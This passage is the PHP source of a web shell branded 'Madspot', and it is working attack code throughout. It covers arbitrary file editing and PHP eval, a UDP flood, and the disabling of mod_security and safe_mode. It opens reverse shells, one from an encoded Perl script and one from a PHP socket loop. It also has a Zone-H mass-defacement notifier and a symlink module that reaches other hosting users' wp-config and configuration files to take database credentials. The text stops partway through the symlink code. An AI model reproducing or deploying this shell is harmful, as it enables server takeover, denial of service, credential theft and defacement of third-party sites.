echo "<tr><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
</form></table></div>";
madfooter();
}
function madFilesTools() {
if( isset($_POST['p1']) )
$_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') {
if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: " . $type);
} else
header("Content-Type: application/octet-stream");
$fp = @fopen($_POST['p1'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
}exit;
}
if( @$_POST['p2'] == 'mkfile' ) {
if(!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'], 'w');
if($fp) {
$_POST['p2'] = "edit";
fclose($fp);
}
}
}
madhead();
echo '<div class=header>';
if( !file_exists(@$_POST['p1']) ) {
echo "<pre class=ml1 style='margin-top:5px'>FILE DOEST NOT EXITS </pre></div>";
madFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if(!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?madSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.madPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
echo '<br>';
if( empty($_POST['p2']) )
$_POST['p2'] = 'view';
if( is_file($_POST['p1']) )
$m = array('View', 'Highlight', 'Download', 'Edit', 'Chmod', 'Rename', 'Touch');
else
$m = array('Chmod', 'Rename', 'Touch');
foreach($m as $v)
echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')"><span>'.((strtolower($v)==@$_POST['p2'])?'<b><span> '.$v.' </span> </b>':$v).' </span></a> ';
echo '<br><br>';
switch($_POST['p2']) {
case 'view':
echo '<pre class=ml1>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</pre>';
break;
case 'highlight':
if( @is_readable($_POST['p1']) ) {
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
$code = @highlight_file($_POST['p1'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
}
break;
case 'chmod':
if( !empty($_POST['p3']) ) {
$perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'], $perms))
echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
break;
case 'edit':
if( !is_writable($_POST['p1'])) {
echo 'File isn\'t writeable';
break;
}
if( !empty($_POST['p3']) ) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'],1);
$fp = @fopen($_POST['p1'],"w");
if($fp) {
@fwrite($fp,$_POST['p3']);
@fclose($fp);
echo 'Saved!<br><script>p3_="";</script>';
@touch($_POST['p1'],$time,$time);
}
}
echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "\n";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
break;
case 'rename':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p1'], $_POST['p3']))
echo 'Can\'t rename!<br>';
else
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
}
echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
break;
case 'touch':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(!touch($_POST['p1'],$time,$time))
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
break;
}
echo '</div>';
madFooter();
}
function madphpeval()
{
madhead();
if(isset($_POST['p2']) && ($_POST['p2'] == 'ini')) {
echo '<div class=header>';
ob_start();
$INI=ini_get_all();
print '<table border=0><tr>'
.'<td class="listing"><font class="highlight_txt">Param</td>'
.'<td class="listing"><font class="highlight_txt">Global value</td>'
.'<td class="listing"><font class="highlight_txt">Local Value</td>'
.'<td class="listing"><font class="highlight_txt">Access</td></tr>';
foreach ($INI as $param => $values)
print "\n".'<tr>'
.'<td class="listing"><b>'.$param.'</td>'
.'<td class="listing">'.$values['global_value'].' </td>'
.'<td class="listing">'.$values['local_value'].' </td>'
.'<td class="listing">'.$values['access'].' </td></tr>';
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
echo '<div class=header><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
if(isset($_POST['p2']) && ($_POST['p2'] == 'exten')) {
echo '<div class=header>';
ob_start();
$EXT=get_loaded_extensions ();
print '<table border=0><tr><td class="listing">'
.implode('</td></tr>'."\n".'<tr><td class="listing">', $EXT)
.'</td></tr></table>'
.count($EXT).' extensions loaded';
echo '</div><br>';
}
if(empty($_POST['ajax']) && !empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
echo '<div class=header><Center><a href=# onclick="g(\'phpeval\',null,\'\',\'ini\')">| INI_INFO | </a><a href=# onclick="g(\'phpeval\',null,\'\',\'info\')"> | phpinfo |</a><a href=# onclick="g(\'phpeval\',null,\'\',\'exten\')"> | extensions |</a></center><br><form name=pf method=post onsubmit="g(\'phpeval\',null,this.code.value,\'\'); return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><center><input type=submit value=Eval style="margin-top:5px"></center>';
echo '</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
if(!empty($_POST['p1'])) {
ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
madfooter();
}
function madhash()
{
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
'Base64 encode' => 'base64_encode',
'Base64 decode' => 'base64_decode',
'md5 hash' => 'md5',
'sha1 hash' => 'sha1',
'crypt' => 'crypt',
'CRC32' => 'crc32',
'Url encode' => 'urlencode',
'Url decode' => 'urldecode',
'Full urlencode' => 'full_urlencode',
'Htmlspecialchars' => 'htmlspecialchars',
);
madhead();
echo '<div class=header>';
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo "<form onSubmit='g(null,null,this.selectTool.value,this.input.value); return false;'><select name='selectTool'>";
foreach($stringTools as $k => $v)
echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
echo "</select><input type='submit' value='>>'/><br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
if(!empty($_POST['p1'])) {
if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
}
echo "</div>";
madFooter();
}
function maddos()
{
madhead();
echo '<div class=header>';
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo '<center><span>| UDP DOSSIER |</span><br><br><form onSubmit="g(null,null,this.udphost.value,this.udptime.value,this.udpport.value); return false;" method=POST><span>Host :</span><input name="udphost" type="text" size="25" /><span>Time :</span><input name="udptime" type="text" size="15" /><span>Port :</span><input name="udpport" type="text" size="10" /><input type="submit" value=">>" /></form></center>';
echo "<pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' >";
if(!empty($_POST['p1']) && !empty($_POST['p2']) && !empty($_POST['p3']))
{
$packets=0;
ignore_user_abort(true);
$exec_time=$_POST['p2'];
$time=time();
$max_time=$exec_time+$time;
$host=$_POST['p1'];
$portudp=$_POST['p3'];
for($i=0;$i<65000;$i++)
{
$out .= 'X';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen('udp://'.$host, $portudp, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "$packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second";
echo "</pre>";
}
echo '</div>';
madfooter();
}
function madproc()
{
madhead();
echo "<Div class=header><center>";
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
if($GLOBALS['sys']=="win")
{
$process=array(
"System Info" =>"systeminfo",
"Active Connections" => "netstat -an",
"Running Services" => "net start",
"User Accounts" => "net user",
"Show Computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
}
else
{
$process=array(
"Process status" => "ps aux",
"Syslog" =>"cat /etc/syslog.conf",
"Resolv" => "cat /etc/resolv.conf",
"Hosts" =>"cat /etc/hosts",
"Passwd" =>"cat /etc/passwd",
"Cpuinfo"=>"cat /proc/cpuinfo",
"Version"=>"cat /proc/version",
"Sbin"=>"ls -al /usr/sbin",
"Interrupts"=>"cat /proc/interrupts",
"lsattr"=>"lsattr -va",
"Uptime"=>"uptime",
"Fstab" =>"cat /etc/fstab",
"HDD Space" => "df -h"
);}
foreach($process as $n => $link)
{
echo '<a href="#" onclick="g(null,null,\''.$link.'\')"> | '.$n.' | </a>';
}
echo "</center>";
if(!empty($_POST['p1']))
{
echo "<pre class='ml1' style='margin-top:5px' >";
echo madEx($_POST['p1']);
echo '</pre>';
}
echo "</div>";
madfooter();
}
function madsafe()
{
madhead();
echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br>";
echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
if(!empty($_POST['p2']) && isset($_POST['p2']))
{
$fil=fopen($GLOBALS['cwd'].".htaccess","w");
fwrite($fil,'<IfModule mod_security.c>
Sec------Engine Off
Sec------ScanPOST Off
</IfModule>');
fclose($fil);
}
if(!empty($_POST['p1'])&& isset($_POST['p1']))
{
$fil=fopen($GLOBALS['cwd']."php.ini","w");
fwrite($fil,'safe_mode=OFF
disable_functions=NONE');
fclose($fil);
}
if(!empty($_POST['p3']) && isset($_POST['p3']))
{
$fil=fopen($GLOBALS['cwd'].".htaccess","w");
fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .sh
AddHandler cgi-script .pl
AddHandler cgi-script .pl');
fclose($fil);
}
echo "<br></div>";
madfooter();
}
function madconnect()
{
madhead();
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
echo "<div class=header><center><h3><span>| PERL AND PHP(threads) BACK CONNECT |</span></h3>";
echo "<form onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"><span>PERL BACK CONNECT</span><br>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form>";
echo "<br><form onSubmit=\"g(null,null,'php',this.server.value,this.port.value);return false;\"><span>PHP BACK CONNECT</span><br>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form></center>";
if(isset($_POST['p1'])) {
function cf($f,$t) {
$w = @fopen($f,"w") or @function_exists('file_put_contents');
if($w){
@fwrite($w,@base64_decode($t));
@fclose($w);
}
}
if($_POST['p1'] == 'bcp') {
cf("/tmp/bc.pl",$back_connect_p);
$out = madEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
echo "<pre class=ml1 style='margin-top:5px'>Successfully opened reverse shell to ".$_POST['p2'].":".$_POST['p3']."<br>Connecting...</pre>";
@unlink("/tmp/bc.pl");
}
if($_POST['p1']=='php')
{
@set_time_limit (0);
$ip = $_POST['p2'];
$port =$_POST['p3'];
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
echo "<pre class=ml1 style='margin-top:5px'>";
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
echo "Cant fork!<br>";
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
echo "Error: Can't setsid()<br>";
exit(1);
}
$daemon = 1;
} else {
echo "WARNING: Failed to daemonise. This is quite common and not fatal<br>";
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
echo "$errstr ($errno)";
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
echo "ERROR: Can't spawn shell<br>";
exit(1);
}
@stream_set_blocking($pipes[0], 0);
@stream_set_blocking($pipes[1], 0);
@stream_set_blocking($pipes[2], 0);
@stream_set_blocking($sock, 0);
echo "Successfully opened reverse shell to $ip:$port<br>";
while (1) {
if (feof($sock)) {
echo "ERROR: Shell connection terminated<br>";
break;
}
if (feof($pipes[1])) {
echo "ERROR: Shell process terminated<br>";
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets=@stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) echo "SOCK READ<br>";
$input=fread($sock, $chunk_size);
if ($debug) echo "SOCK: $input<br>";
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) echo "STDOUT READ<br>";
$input = fread($pipes[1], $chunk_size);
if ($debug) echo "STDOUT: $input<br>";
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) echo "STDERR READ<br>";
$input = fread($pipes[2], $chunk_size);
if ($debug) echo "STDERR: $input<br>";
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
echo "</pre>";
}
}
echo "</div>";
madfooter();
}
function ZoneH($url, $hacker, $hackmode,$reson, $site )
{
$k = curl_init();
curl_setopt($k, CURLOPT_URL, $url);
curl_setopt($k,CURLOPT_POST,true);
curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
$kubra = curl_exec($k);
curl_close($k);
return $kubra;
}
function madzoneh()
{
madhead();
if(!function_exists('curl_version'))
{
echo "<pre class=ml1 style='margin-top:5px'><center><font color=red>PHP CURL NOT EXIT</font></center></pre>";
}
echo "<div class=header><center><br>";
echo '<h3><span>|ZONE-H MASS DEFACER |</span></h3>
<form onSubmit="g(null,null,this.defacer.value,this.hackmode.value,this.domain.value);return false;" >
<span>| Notifier |</span><br>
<input type="text" name=defacer size="40" value="Attacker" /><br>
<select name=hackmode>
<option >--------SELECT--------</option>
<option value="1">known vulnerability (i.e. unpatched system)</option>
<option value="2" >undisclosed (new) vulnerability</option>
<option value="3" >configuration / admin. mistake</option>
<option value="4" >brute force attack</option>
<option value="5" >social engineering</option>
<option value="6" >Web Server intrusion</option>
<option value="7" >Web Server external module intrusion</option>
<option value="8" >Mail Server intrusion</option>
<option value="9" >FTP Server intrusion</option>
<option value="10" >SSH Server intrusion</option>
<option value="11" >Telnet Server intrusion</option>
<option value="12" >RPC Server intrusion</option>
<option value="13" >Shares misconfiguration</option>
<option value="14" >Other Server intrusion</option>
<option value="15" >SQL Injection</option>
<option value="16" >URL Poisoning</option>
<option value="17" >File Inclusion</option>
<option value="18" >Other Web Application bug</option>
<option value="19" >Remote administrative panel access bruteforcing</option>
<option value="20" >Remote administrative panel access password guessing</option>
<option value="21" >Remote administrative panel access social engineering</option>
<option value="22" >Attack against administrator(password stealing/sniffing)</option>
<option value="23" >Access credentials through Man In the Middle attack</option>
<option value="24" >Remote service password guessing</option>
<option value="25" >Remote service password bruteforce</option>
<option value="26" >Rerouting after attacking the Firewall</option>
<option value="27" >Rerouting after attacking the Router</option>
<option value="28" >DNS attack through social engineering</option>
<option value="29" >DNS attack through cache poisoning</option>
<option value="30" >Not available</option>
</select><br>
<select >
<option >Not available</option>
<option value="1" >Heh...just for fun!</option>
<option value="2" >Revenge against that website</option>
<option value="3" >Political reasons</option>
<option value="4" >As a challenge</option>
<option value="5" >I just want to be the best defacer</option>
<option value="6" >Patriotism</option>
<option value="7" >Not available</option>
</select><br>
<textarea name=domain cols="50" rows="15">List Of Domains</textarea>
<br>
<input type="submit" value=">>" /></form>';
if(isset($_POST['p1']) && isset($_POST['p2']))
{
$hacker =$_POST['p1'];
$method =$_POST['p2'];
$neden ="Not available";
$site =$_POST['p3'];
$i = 0;
$sites = explode("\n", $site);
echo "<pre class=ml1 style='margin-top:5px'>";
while($i < count($sites))
{
if(substr($sites[$i], 0, 4) != "http")
{
$sites[$i] = "http://".$sites[$i];
}
ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
echo "Site : ".$sites[$i]." Defaced !<br>";
++$i;
}
"Sending Sites To Zone-H Has Been Completed Successfully !! </pre>";
}
echo "</div>";
madfooter();
}
function madspot()
{
madhead();
echo "<div class=header>";
echo "<pre>
|`-:_
,----....____ | `+.
( ````----....|___ |
\ _ ````----....____
\ _) Coded By: Ikram Ali ```---.._
\ \
)`.\ )`. )`. )`. )`. )`. )`. )`. )`. )`. )hh
-' `-' `-' `-' `-' `-' `-' `-' `-' `-' `-' `
Madspot is a Team of professional Ethical Hackers From Pakistan.
We have Years of Experience in Security, Penetration & Coding
And can Break and Secure.
Version 1.0
Contact : http://www.madspot.net
if you found bug contact our team
.=''=.
/ _ _ \
| d b |
\ /\ /
,/'-=\/=-'\,
/ / \ \ -----------------------------
| / Zahid \ | Madspot Digital Security Team
\/ \ Rasheed/ \/ -----------------------------
'. .'
_|`~~`|_
/|\ /|\
.- <O> -. .-====-. ,-------. .-=<>=-.
/_-\'''/-_\ / / '' \ \ |,-----.| /__----__\
|/ o) (o \| | | ')(' | | /,'-----'.\ |/ (')(') \|
\ ._. / \ \ / / {_/(') (')\_} \ __ /
,>-_,,,_-<. >'=jf='< `. _ .' ,'--__--'.
/ Waqar.Khan \ / \ /'-___-'\ / :| \
(_) . (_) / Ikram \ / M-Usman \ (_) :| (_)
\_-----'____--/ (_) Ali (_) (_)_______(_) |___:|____|
\___________/ |________| \_______/ | Afrasiab|
</pre></div>";
madfooter();
}
function madsymlink()
{
madhead();
$IIIIIIIIIIIl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$IIIIIIIIIII1=explode('/',$IIIIIIIIIIIl );
$IIIIIIIIIIIl =str_replace($IIIIIIIIIII1[count($IIIIIIIIIII1)-1],'',$IIIIIIIIIIIl );
echo '<div class=header><script>p1_=p2_=p3_="";</script><br><center><h3><a href=# onclick="g(\'symlink\',null,\'website\',null)">| Domains | </a><a href=# onclick="g(\'symlink\',null,null,\'whole\')">| Whole Server Symlink | </a><a href=# onclick="g(\'symlink\',null,null,null,\'config\')">| Config PHP symlink | </a></h3></center>';
if(isset($_POST['p1']) && $_POST['p1']=='website')
{
echo "<center>";
$d0mains = @file("/etc/named.conf");
if(!$d0mains){ echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; }
echo "<table align=center class='main' border=0 >
<tr bgcolor=Red><td>Count</td><td>domains</td><td>users</td></tr>";
$count=1;
foreach($d0mains as $d0main){
if(@eregi("zone",$d0main)){
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "<tr><td>".$count."</td><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>"; flush();
$count++;
}}}
echo "</center></table>";
}
if(isset($_POST['p2']) && $_POST['p2']=='whole')
{
@set_time_limit(0);
echo "<center>";
@mkdir('sym',0777);
$IIIIIIIIIIl1 = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
$IIIIIIIIII1I =@fopen ('sym/.htaccess','w');
fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1);
@symlink('/','sym/root');
$IIIIIIIIIlIl = basename('_FILE_');
$IIIIIIIIIllI = @file('/etc/named.conf');
if(!$IIIIIIIIIllI)
{
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "<table align='center' width='40%' class='main'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($IIIIIIIIIllI as $IIIIIIIIIll1){
if(@eregi('zone',$IIIIIIIIIll1)){
preg_match_all('#zone "(.*)"#',$IIIIIIIIIll1,$IIIIIIIIIl11);
flush();
if(strlen(trim($IIIIIIIIIl11[1][0])) >2){
$IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/'.$IIIIIIIIIl11[1][0]));
$IIIIIIII1I1l = $IIIIIIIII1I1['name'] ;
@symlink('/','sym/root');
$IIIIIIII1I1l = $IIIIIIIIIl11[1][0];
$IIIIIIII1I11 = '\.ir';
$IIIIIIII1lII = '\.il';
if (@eregi("$IIIIIIII1I11",$IIIIIIIIIl11[1][0]) or @eregi("$IIIIIIII1lII",$IIIIIIIIIl11[1][0]) )
{
$IIIIIIII1I1l = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$IIIIIIIIIl11[1][0].'</div>';
}
echo "
<tr>
<td>
<a target='_blank' href=http://www.".$IIIIIIIIIl11[1][0].'/>'.$IIIIIIII1I1l.' </a>
</td>
<td>
'.$IIIIIIIII1I1['name']."
</td>
<td>
<a href='sym/root/home/".$IIIIIIIII1I1['name']."/public_html' target='_blank'>symlink </a>
</td>
</tr>";
flush();
}
}
}
}
echo "</center></table>";
}
if(isset($_POST['p3']) && $_POST['p3']=='config')
{
echo "<center>";
@mkdir('sym',0777);
$IIIIIIIIIIl1 = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
$IIIIIIIIII1I =@fopen ('sym/.htaccess','w');
@fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1);
@symlink('/','sym/root');
$IIIIIIIIIlIl = basename('_FILE_');
$IIIIIIIIIllI = @file('/etc/named.conf');
if(!$IIIIIIIIIllI)
{
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "
<table align='center' width='40%' class='main' ><td> Domains </td><td> Script </td>";
foreach($IIIIIIIIIllI as $IIIIIIIIIll1){
if(@eregi('zone',$IIIIIIIIIll1)){
preg_match_all('#zone "(.*)"#',$IIIIIIIIIll1,$IIIIIIIIIl11);
flush();
if(strlen(trim($IIIIIIIIIl11[1][0])) >2){
$IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/'.$IIIIIIIIIl11[1][0]));
$IIIIIIIII1l1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/wp-config.php';
$IIIIIIIII11I=get_headers($IIIIIIIII1l1);
$IIIIIIIII11l=$IIIIIIIII11I[0];
$IIIIIIIII111=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/blog/wp-config.php';
$IIIIIIIIlIII=get_headers($IIIIIIIII111);
$IIIIIIIIlIIl=$IIIIIIIIlIII[0];
$IIIIIIIIlII1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/configuration.php';
$IIIIIIIIlIlI=get_headers($IIIIIIIIlII1);
$IIIIIIIIlIll=$IIIIIIIIlIlI[0];
$IIIIIIIIlIl1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/joomla/configuration.php';
$IIIIIIIIlI1I=get_headers($IIIIIIIIlIl1);
$IIIIIIIIlI1l=$IIIIIIIIlI1I[0];
$IIIIIIIIlI11=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/includes/config.php';
$IIIIIIIIllII=get_headers($IIIIIIIIlI11);
$IIIIIIIIllIl=$IIIIIIIIllII[0];
$IIIIIIIIllI1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/vb/includes/config.php';
$IIIIIIIIlllI=get_headers($IIIIIIIIllI1);
$IIIIIIIIllll=$IIIIIIIIlllI[0];
$IIIIIIIIlll1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/forum/includes/config.php';
$IIIIIIIIll1I=get_headers($IIIIIIIIlll1);
$IIIIIIIIll1l=$IIIIIIIIll1I[0];
$IIIIIIIIll11=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'public_html/clients/configuration.php';
